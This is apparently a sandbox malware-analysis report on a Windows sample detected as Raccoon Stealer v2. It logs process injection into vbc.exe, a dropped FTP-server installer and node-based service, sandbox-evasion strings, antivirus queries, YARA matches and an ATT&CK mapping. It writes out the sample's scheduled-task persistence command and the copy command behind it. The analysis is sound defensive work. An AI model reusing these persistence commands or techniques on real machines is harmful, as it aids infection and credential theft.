Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04090409

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

API coverage: 7.5 %

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-3TKF2.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-3TKF2.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-3TKF2.tmp\setuphelper.dll	Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	API call chain: ExitProcess graph end node			graph_18-20442
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	API call chain: ExitProcess graph end node			graph_20-3635

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: z5i6tLOUD0.exe, 00000000.00000002.315355541.0000000003E5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: svchost.exe, 0000000C.00000002.562547678.00000208D1DAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: z5i6tLOUD0.exe	Binary or memory string: jdfffgdkdfkshgfs
Source: z5i6tLOUD0.exe	Binary or memory string: .cctorobjectmethodInvokenhffddfsfkdkdhkcsdffdfhkfsfdfhdddhshcfckffhdfddkdfhghfBeginInvokeIAsyncResultAsyncCallbackcallbackEndInvokeresulthfshdkfhfffddfkchhfgfsdkddfhfdckhdfhffcfdsffdddhhkkffghhjfsdfdfcdfhkffkhjfffffdsfhddkkhjfjcffsddkfkddhfghjsddkddffdshdjfffffgjhkdksgcafpsfhjfkfdhffjffhfdhdkhsscsfgdbfjdfddfshfkcffkfhgjffscdghkddhfkdffjjhfsfcdgdfdgkkffjjkgdfdcdfgksfhffjsfhgdffdkgfgjjfsgdhfkffdgjhdssdgfdfkhffdjgdffgkhdjsdfdffhdfhsfjfghsdkdffhfjfdfdghffdkgdsfhjdfffgdkdfkshgfsgssddhjkffdfkgdssdfgfkhjfdfjhsdgghdffsfjfsgdddhffkadhdsfdkffhfdddhskhdhdgffdsdshfdhkdfhfsdfdsfhddkffsjkkfdhdhfsdffgkdhffssdgdfjdsdhsdfkgfdhhjhgfhdkshddffgjfsdhdhfdfkgjddfsddhfhkfjjdfhfdddffsdkfjhdfffdfhdkfshhdffhsdhdfdkdfaffdsdfhhfhhsdffdshffdhfhffdsfdhsdhshhhgdffdsfhsfdsfdhffdhsfhddfhsssfdhdffhhfdhddfsfjhffsddfdhstartupInfoagnFASniCreateMemberRefsDelegatestypeIDCreateGetStringDelegateownerType
Source: node.exe, 00000022.00000002.612343687.0000000002217000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.544706692.0000015A138E1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.544158809.0000015A13869000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.544562891.0000015A138C9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000003.542247785.0000015A13868000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000C.00000002.562547678.00000208D1DAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware7,1alized
Source: node.exe, 00000022.00000002.619013307.0000000012400000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: lgnW2/4/PEZB31jiVg88O8EckzXZOFKs7sjsLjBOlDW0JB9LeGna8gI4zJVSk/BwJVmcIGfE
Source: svchost.exe, 00000008.00000002.549194656.000001AB4D829000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AAD434 FindFirstFileW,FindClose,	18_2_03AAD434
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AACE68 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW,	18_2_03AACE68
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Code function: 20_2_0040672B FindFirstFileW,FindClose,	20_2_0040672B
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Code function: 20_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	20_2_00405AFA
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Code function: 20_2_00402868 FindFirstFileW,	20_2_00402868

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Code function: 18_2_03BC4598 DoUpdateSvcDacl,OpenSCManagerW,OpenServiceW,CloseServiceHandle,QueryServiceObjectSecurity,GetLastError,GetProcessHeap,HeapAlloc,QueryServiceObjectSecurity,GetSecurityDescriptorDacl,BuildExplicitAccessWithNameW,SetEntriesInAclW,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetServiceObjectSecurity,CloseServiceHandle,CloseServiceHandle,LocalFree,GetProcessHeap,HeapFree,

18_2_03BC4598

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 43A0000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 43A0000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 43A0000	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 43A1000	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 43AC000	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 43AF000	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 43B0000	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe base: 4411008	Jump to behavior

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\user\AppData\Roaming\cmd32.exe'" /f	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd" /c copy "C:\Users\user\Desktop\z5i6tLOUD0.exe" "C:\Users\user\AppData\Roaming\cmd32.exe	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process created: C:\Users\user\AppData\Local\Temp\WingFtpServer.exe "C:\Users\user\AppData\Local\Temp\WingFtpServer.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\user\AppData\Roaming\cmd32.exe'" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Windows\SysWOW64\net.exe "net" stop windowsnetservicehelper.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "taskkill" /IM windowsnetservicehelper.exe /T /F	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Windows\SysWOW64\sc.exe "sc" delete windowsnetservicehelper.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe "windowsnetservicehelper.exe" install	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process created: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe "windowsnetservicehelper.exe" start	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 stop windowsnetservicehelper.exe	Jump to behavior
Source: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe	Process created: C:\Program Files (x86)\WindowsNetService\node.exe C:\Program Files (x86)\WindowsNetService\node.exe" "C:\Program Files (x86)\WindowsNetService\service.js
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table

Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp

Process created: C:\Windows\SysWOW64\taskkill.exe "taskkill" /IM windowsnetservicehelper.exe /T /F

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

18_2_03BC4598

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,	18_2_03AAD584
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: GetLocaleInfoW,	18_2_03AC57BC
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: GetLocaleInfoW,	18_2_03AC5770
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	18_2_03AACA0C
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: EnumSystemLocalesW,	18_2_03AC9A54
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: GetLocaleInfoW,	18_2_03AC9848

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Queries volume information: C:\Users\user\Desktop\z5i6tLOUD0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\Program Files (x86)\WindowsNetService\service.js VolumeInformation
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\Program Files (x86) VolumeInformation
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\Program Files (x86)\WindowsNetService VolumeInformation
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\Program Files (x86)\WindowsNetService\service.js VolumeInformation
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\Program Files (x86)\WindowsNetService\service.js VolumeInformation
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\Program Files (x86)\WindowsNetService\status.dat VolumeInformation
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Queries volume information: C:\Windows\SysWOW64\wbem\WMIC.exe VolumeInformation

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Code function: 18_2_03AC3AA0 GetLocalTime,

18_2_03AC3AA0

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Code function: 18_2_03AC7C84 GetVersionExW,

18_2_03AC7C84

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 0000000C.00000002.561562870.00000208D1D6D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \BullGuard Ltd\BullGuard\BullGuard.exe
Source: svchost.exe, 0000000F.00000002.554301649.000001C295502000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000000F.00000002.550801029.000001C295440000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @\REGISTRY\USER\S-1-5-19ws Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected Raccoon Stealer v2

Source: Yara match	File source: 0.2.z5i6tLOUD0.exe.3e45fd0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.vbc.exe.43a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z5i6tLOUD0.exe.3e45fd0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.315220700.0000000003E31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Raccoon Stealer v2

Source: Yara match	File source: 0.2.z5i6tLOUD0.exe.3e45fd0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.vbc.exe.43a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.z5i6tLOUD0.exe.3e45fd0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.315220700.0000000003E31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Code function: 18_2_03BC5078 CheckPort,WSAStartup,WSACleanup,socket,WSACleanup,htons,inet_addr,bind,closesocket,WSACleanup,

18_2_03BC5078

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	111 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	Remote Services	11 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	12 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scheduled Task/Job	23 Windows Service	11 Access Token Manipulation	11 Obfuscated Files or Information	Security Account Manager	56 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	11 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	23 Service Execution	1 Scheduled Task/Job	23 Windows Service	11 Software Packing	NTDS	351 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	311 Process Injection	1 DLL Side-Loading	LSA Secrets	241 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	13 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	1 Scheduled Task/Job	2 Masquerading	Cached Domain Credentials	2 System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Valid Accounts	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	11 Access Token Manipulation	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	311 Process Injection	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
z5i6tLOUD0.exe	60%	ReversingLabs	ByteCode-MSIL.Trojan.RaccoonSteal
z5i6tLOUD0.exe	28%	Virustotal		Browse
z5i6tLOUD0.exe	0%	Metadefender		Browse
z5i6tLOUD0.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\cmd32.exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
18.0.WingFtpServer.tmp.400000.0.unpack	100%	Avira	TR/Dropper.Gen		Download File
7.0.vbc.exe.43a0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
register.starhome.io	0%	Virustotal		Browse
files.starhome.io	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://www.wftpserver.com/6https://www.wftpserver.com/6https://www.wftpserver.com/	0%	Avira URL Cloud	safe
https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object	0%	URL Reputation	safe
https://files.starhome.io/downloads/winapp/latest-ia32.json2	0%	Avira URL Cloud	safe
http://tnx.nl/ip	0%	Avira URL Cloud	safe
http://ifconfig.co/ip	0%	Virustotal		Browse
http://crl.dhimyotis.com/certignarootca.crl	0%	URL Reputation	safe
http://www.innosetup.com/	0%	URL Reputation	safe
http://www.innosetup.com/	0%	URL Reputation	safe
https://wwww.certigna.fr/autorites/0m	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot	0%	URL Reputation	safe
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl	0%	URL Reputation	safe
http://tnx.nl/ip	1%	Virustotal		Browse
http://www.accv.es00	0%	URL Reputation	safe
https://sourcemaps.info/spec.html	0%	URL Reputation	safe
https://files.starhome.io/downloads/winapp/latest-	0%	Avira URL Cloud	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
https://heycam.github.io/webidl/#dfn-default-iterator-object	0%	URL Reputation	safe
https://heycam.github.io/webidl/#es-iterable-entries	0%	URL Reputation	safe
https://heycam.github.io/webidl/#es-interfaces	0%	URL Reputation	safe
https://tc39.github.io/ecma262/#sec-object.prototype.tostring	0%	URL Reputation	safe
https://heycam.github.io/webidl/#dfn-class-string	0%	URL Reputation	safe
https://heycam.github.io/webidl/#dfn-iterator-prototype-object	0%	URL Reputation	safe
http://ifconfig.co/ip	0%	Avira URL Cloud	safe
http://ocsp.accv.es0	0%	URL Reputation	safe
http://tnx.nl/ip9	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crlp	0%	Avira URL Cloud	safe
http://narwhaljs.org)	0%	Avira URL Cloud	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
http://ocsp.accv.es6	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
register.starhome.io	142.93.96.73	true	false	0%, Virustotal, Browse	unknown
files.starhome.io	188.114.96.3	true	false	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://url.spec.whatwg.org/#concept-url-origin	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 00000009.00000003.310607336.000001D5F9659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311451621.000001D5F965A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.wftpserver.com/6https://www.wftpserver.com/6https://www.wftpserver.com/	WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000003.346283187.0000000003A50000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gist.github.com/XVilka/8346728#gistcomment-2823421	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://github.com/nodejs/node-v0.x-archive/issues/2876.	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://ispp.sourceforge.net/Acerca	WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://files.starhome.io/downloads/winapp/latest-ia32.json2	node.exe, 00000022.00000003.488902440.0000000003480000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecma-international.org/ecma-262/#sec-timeclip	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://console.spec.whatwg.org/#table	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://www.iana.org/assignments/tls-extensiontype-values	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://console.spec.whatwg.org/#console-namespace	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://url.spec.whatwg.org/#url	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://encoding.spec.whatwg.org/#textencoder	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
